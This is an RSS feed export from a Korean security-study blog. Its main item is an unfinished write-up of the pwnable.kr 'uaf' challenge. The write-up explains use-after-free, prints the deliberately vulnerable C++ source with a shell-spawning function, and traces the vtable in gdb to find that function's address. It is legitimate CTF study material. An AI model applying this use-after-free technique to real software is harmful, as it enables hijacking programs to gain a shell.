<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>power-girl0-0</title>
    <link>https://power-girl0-0.tistory.com/</link>
    <description>d0bbyG 's notebook that studies hard.</description>
    <language>ko</language>
    <pubDate>Thu, 16 Jul 2026 19:17:55 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>power-girl0-0</managingEditor>
    <image>
      <title>power-girl0-0</title>
      <url>https://tistory1.daumcdn.net/tistory/3599672/attach/e753a1866d9b4342a1e28947c04b2356</url>
      <link>https://power-girl0-0.tistory.com</link>
    </image>
    <item>
      <title>블로그 이전했습니다!</title>
      <link>https://power-girl0-0.tistory.com/620</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;안녕하세요~~!!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;해당 블로그가 다소 복잡한 감이 있어, 새롭게 블로그를 만들었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;앞으로는 아래 주소에서 새로운 글을 볼 수 있으니, 참고해주세요!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;감사합니다(●'◡'●)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a style=&quot;color: #006dd7;&quot; href=&quot;https://d0bbyg.tistory.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://d0bbyg.tistory.com/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1661756332644&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;d0bbyG&quot; data-og-description=&quot; &quot; data-og-host=&quot;d0bbyg.tistory.com&quot; data-og-source-url=&quot;https://d0bbyg.tistory.com/&quot; data-og-url=&quot;https://d0bbyg.tistory.com&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Vluh1/hyPBIotiGH/IX0wu0CtLZOitgceYxUyQk/img.jpg?width=200&amp;amp;height=112&amp;amp;face=0_0_200_112,https://scrap.kakaocdn.net/dn/c6KIEp/hyPBNQOp6u/EK8iyczuzoXt5llLh0aeJ1/img.jpg?width=200&amp;amp;height=112&amp;amp;face=0_0_200_112&quot;&gt;&lt;a href=&quot;https://d0bbyg.tistory.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://d0bbyg.tistory.com/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Vluh1/hyPBIotiGH/IX0wu0CtLZOitgceYxUyQk/img.jpg?width=200&amp;amp;height=112&amp;amp;face=0_0_200_112,https://scrap.kakaocdn.net/dn/c6KIEp/hyPBNQOp6u/EK8iyczuzoXt5llLh0aeJ1/img.jpg?width=200&amp;amp;height=112&amp;amp;face=0_0_200_112');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;d0bbyG&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;d0bbyg.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>일상</category>
      <category>blog</category>
      <category>d0bbyG</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/620</guid>
      <comments>https://power-girl0-0.tistory.com/620#entry620comment</comments>
      <pubDate>Mon, 29 Aug 2022 15:59:18 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable] uaf 풀이</title>
      <link>https://power-girl0-0.tistory.com/565</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. 문제&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;문제에 주어진 ssh로 접속하면, uaf.cpp와 uaf 실행파일이 주어진다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;uaf를 실행해보면, 아래와 같이 메뉴를 보여주고 입력할 수 있는 커서가 존재한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sjh8A/btryamwOFEM/Atd4GBTRk5MKFwK2uP5Uk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sjh8A/btryamwOFEM/Atd4GBTRk5MKFwK2uP5Uk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sjh8A/btryamwOFEM/Atd4GBTRk5MKFwK2uP5Uk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsjh8A%2FbtryamwOFEM%2FAtd4GBTRk5MKFwK2uP5Uk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;352&quot; height=&quot;140&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 풀기 전, 알고 가기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;① 힙영역이란?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;- 메모리를 동적으로 할당하여, 사용하는 공간을 의미한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;- 필요에 의해, 메모리를 할당하고 해제한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;② heap overflow란?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;- 할당된 메모리보다 많은 값을 넣어서, 다른 메모리 주소 값까지 침범하여 발생한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;- 만약, 함수 포인터가 존재하는 부분까지 침범해서 조작한다면, 프로그램의 실행 흐름을 바꿀 수 있는 문제가 발생한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;③ UAF(Use After Free)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;- 힙 영역에서 메모리 해제 후, 해제한 메모리 영역을 재사용할 때 발생하는 취약점이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. C++ 코드&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;아래는 문제에서 주어진 코드이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1648794684042&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system(&quot;/bin/sh&quot;);
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout &amp;lt;&amp;lt; &quot;My name is &quot; &amp;lt;&amp;lt; name &amp;lt;&amp;lt; endl;
                cout &amp;lt;&amp;lt; &quot;I am &quot; &amp;lt;&amp;lt; age &amp;lt;&amp;lt; &quot; years old&quot; &amp;lt;&amp;lt; endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this-&amp;gt;name = name;
                this-&amp;gt;age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout &amp;lt;&amp;lt; &quot;I am a nice guy!&quot; &amp;lt;&amp;lt; endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this-&amp;gt;name = name;
                this-&amp;gt;age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout &amp;lt;&amp;lt; &quot;I am a cute girl!&quot; &amp;lt;&amp;lt; endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man(&quot;Jack&quot;, 25);
        Human* w = new Woman(&quot;Jill&quot;, 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout &amp;lt;&amp;lt; &quot;1. use\n2. after\n3. free\n&quot;;
                cin &amp;gt;&amp;gt; op;

                switch(op){
                        case 1:
                                m-&amp;gt;introduce();
                                w-&amp;gt;introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout &amp;lt;&amp;lt; &quot;your data is allocated&quot; &amp;lt;&amp;lt; endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;여기서 참고! C언어에서는 malloc과 free로 동적할당하지만,&amp;nbsp;C++에서는 new과 delete를 사용한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;위 코드 분석을 통해 알 수 있는 점은 아래와 같다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;br /&gt;&amp;nbsp; ⇨ class Human에 선언된 private권한의 give_shell()함수에 접근해, 쉘을 획득할 수 있다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: #000000;&quot;&gt;⇨&lt;/span&gt;&amp;nbsp;Human을 상속받은 man과 woman의 객체를 생성한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: #000000;&quot;&gt;⇨&lt;/span&gt;&amp;nbsp;case 1은 생성한 객체 m과 w를 통해, introduce()함수를 불러온다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: #000000;&quot;&gt;⇨&lt;/span&gt;&amp;nbsp;case 2는 사용자에게 입력받아온 값을 바탕으로 동적할당한다. ( argv[1] : len / argv[2] : file )&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: #000000;&quot;&gt;⇨&lt;/span&gt;&amp;nbsp;case 3은 객체 m과 w 메모리를 해제한다.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. 풀이&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;① gdb로 디컴파일한 결과, switch코드에 해당되는 부분을 볼 수 있었다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1648663311373&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;   0x0000000000400fb2 &amp;lt;+238&amp;gt;:   mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400fb5 &amp;lt;+241&amp;gt;:   cmp    eax,0x2
   0x0000000000400fb8 &amp;lt;+244&amp;gt;:   je     0x401000 &amp;lt;main+316&amp;gt;
   0x0000000000400fba &amp;lt;+246&amp;gt;:   cmp    eax,0x3
   0x0000000000400fbd &amp;lt;+249&amp;gt;:   je     0x401076 &amp;lt;main+434&amp;gt;
   0x0000000000400fc3 &amp;lt;+255&amp;gt;:   cmp    eax,0x1
   0x0000000000400fc6 &amp;lt;+258&amp;gt;:   je     0x400fcd &amp;lt;main+265&amp;gt;
   0x0000000000400fc8 &amp;lt;+260&amp;gt;:   jmp    0x4010a9 &amp;lt;main+485&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;② case 1의 코드 부분을 분석한 결과, give_shell( )의 주소 값을 알아낼 수 있다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;case 1은 생성한 객체 m과 w를 통해, introduce() 함수를 불러온다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;아래는 간단하게 주석 처리하여, 정리한 코드이다. 이를 참고해서 살펴보자.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1649079002046&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;   // Part : Man
   0x0000000000400fcd &amp;lt;+265&amp;gt;:   mov    rax,QWORD PTR [rbp-0x38] //동적할당한 Man을 불러옴.
   0x0000000000400fd1 &amp;lt;+269&amp;gt;:   mov    rax,QWORD PTR [rax]  //give_shell()
   0x0000000000400fd4 &amp;lt;+272&amp;gt;:   add    rax,0x8 
   0x0000000000400fd8 &amp;lt;+276&amp;gt;:   mov    rdx,QWORD PTR [rax] //introduce()
   0x0000000000400fdb &amp;lt;+279&amp;gt;:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf &amp;lt;+283&amp;gt;:   mov    rdi,rax
   0x0000000000400fe2 &amp;lt;+286&amp;gt;:   call   rdx
   // Part : Woman
   0x0000000000400fe4 &amp;lt;+288&amp;gt;:   mov    rax,QWORD PTR [rbp-0x30] //동적할당한 Woman을 불러옴.
   0x0000000000400fe8 &amp;lt;+292&amp;gt;:   mov    rax,QWORD PTR [rax] //give_shell()
   0x0000000000400feb &amp;lt;+295&amp;gt;:   add    rax,0x8
   0x0000000000400fef &amp;lt;+299&amp;gt;:   mov    rdx,QWORD PTR [rax] //introduce()
   0x0000000000400ff2 &amp;lt;+302&amp;gt;:   mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 &amp;lt;+306&amp;gt;:   mov    rdi,rax
   0x0000000000400ff9 &amp;lt;+309&amp;gt;:   call   rdx&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;Man에 대한 일부 부분으로, 0x401570주소값이 give_shell( ) 을 가르키도 있는 것을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1697&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oo5oC/btryzoIyTRs/EM4JEIkC5K01pjTOdfNQ9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oo5oC/btryzoIyTRs/EM4JEIkC5K01pjTOdfNQ9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oo5oC/btryzoIyTRs/EM4JEIkC5K01pjTOdfNQ9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foo5oC%2FbtryzoIyTRs%2FEM4JEIkC5K01pjTOdfNQ9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1697&quot; height=&quot;99&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1697&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0x401570 주소부분을 확인해보면, vtable이라는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1593&quot; data-origin-height=&quot;231&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMuwtq/btryz0lkuJE/Y0ojbnA4G49IxpCvZB2sAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMuwtq/btryz0lkuJE/Y0ojbnA4G49IxpCvZB2sAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMuwtq/btryz0lkuJE/Y0ojbnA4G49IxpCvZB2sAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMuwtq%2Fbtryz0lkuJE%2FY0ojbnA4G49IxpCvZB2sAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1593&quot; height=&quot;231&quot; data-origin-width=&quot;1593&quot; data-origin-height=&quot;231&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 주소값을 바탕으로 추측해서, 아래와 같이 vtable의 전체 구조를 확인할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1427&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1vGrw/btryyXWWaQy/RbuA0nu5aBXytnbJamAWh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1vGrw/btryyXWWaQy/RbuA0nu5aBXytnbJamAWh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1vGrw/btryyXWWaQy/RbuA0nu5aBXytnbJamAWh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1vGrw%2FbtryyXWWaQy%2FRbuA0nu5aBXytnbJamAWh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1427&quot; height=&quot;276&quot; data-origin-width=&quot;1427&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;값을 확인해본 결과, 아래와 같이 give_shell()과 introduce()가 저장되어 있는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;give_shell은 따로 오버라이딩하지 않았기 때문에, 0x40117a로 고정되어 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;985&quot; data-origin-height=&quot;236&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRKYrY/btryz0yRZhA/QvLRedRLFZRQidhxZg7Wkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRKYrY/btryz0yRZhA/QvLRedRLFZRQidhxZg7Wkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRKYrY/btryz0yRZhA/QvLRedRLFZRQidhxZg7Wkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRKYrY%2Fbtryz0yRZhA%2FQvLRedRLFZRQidhxZg7Wkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;985&quot; height=&quot;236&quot; data-origin-width=&quot;985&quot; data-origin-height=&quot;236&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, rax의 참조는 vtable이었던 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 그럼 다시 코드로 돌아가보자.&lt;/p&gt;
&lt;pre id=&quot;code_1649236518726&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;   0x0000000000400fd1 &amp;lt;+269&amp;gt;:   mov    rax,QWORD PTR [rax]  //give_shell()
   0x0000000000400fd4 &amp;lt;+272&amp;gt;:   add    rax,0x8 
   0x0000000000400fd8 &amp;lt;+276&amp;gt;:   mov    rdx,QWORD PTR [rax] //introduce()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드를 보니, rax참조에 +0x8 을 하면, introduce( )이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1899&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biXblP/btrxY5iqId1/b3ivmHH4XZZqOBAyT50p50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biXblP/btrxY5iqId1/b3ivmHH4XZZqOBAyT50p50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biXblP/btrxY5iqId1/b3ivmHH4XZZqOBAyT50p50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiXblP%2FbtrxY5iqId1%2Fb3ivmHH4XZZqOBAyT50p50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1899&quot; height=&quot;198&quot; data-origin-width=&quot;1899&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;622&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvhOyX/btrx07M4YcP/DUGIIdzZhGooeH45KdDAk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvhOyX/btrx07M4YcP/DUGIIdzZhGooeH45KdDAk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvhOyX/btrx07M4YcP/DUGIIdzZhGooeH45KdDAk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvhOyX%2Fbtrx07M4YcP%2FDUGIIdzZhGooeH45KdDAk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;622&quot; height=&quot;150&quot; data-origin-width=&quot;622&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;Woman도 같은 방식임을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1878&quot; data-origin-height=&quot;351&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xai9x/btrx07TQ3d8/H7zP8u97bbLjKyOeMlRjM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xai9x/btrx07TQ3d8/H7zP8u97bbLjKyOeMlRjM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xai9x/btrx07TQ3d8/H7zP8u97bbLjKyOeMlRjM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXai9x%2Fbtrx07TQ3d8%2FH7zP8u97bbLjKyOeMlRjM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1878&quot; height=&quot;351&quot; data-origin-width=&quot;1878&quot; data-origin-height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
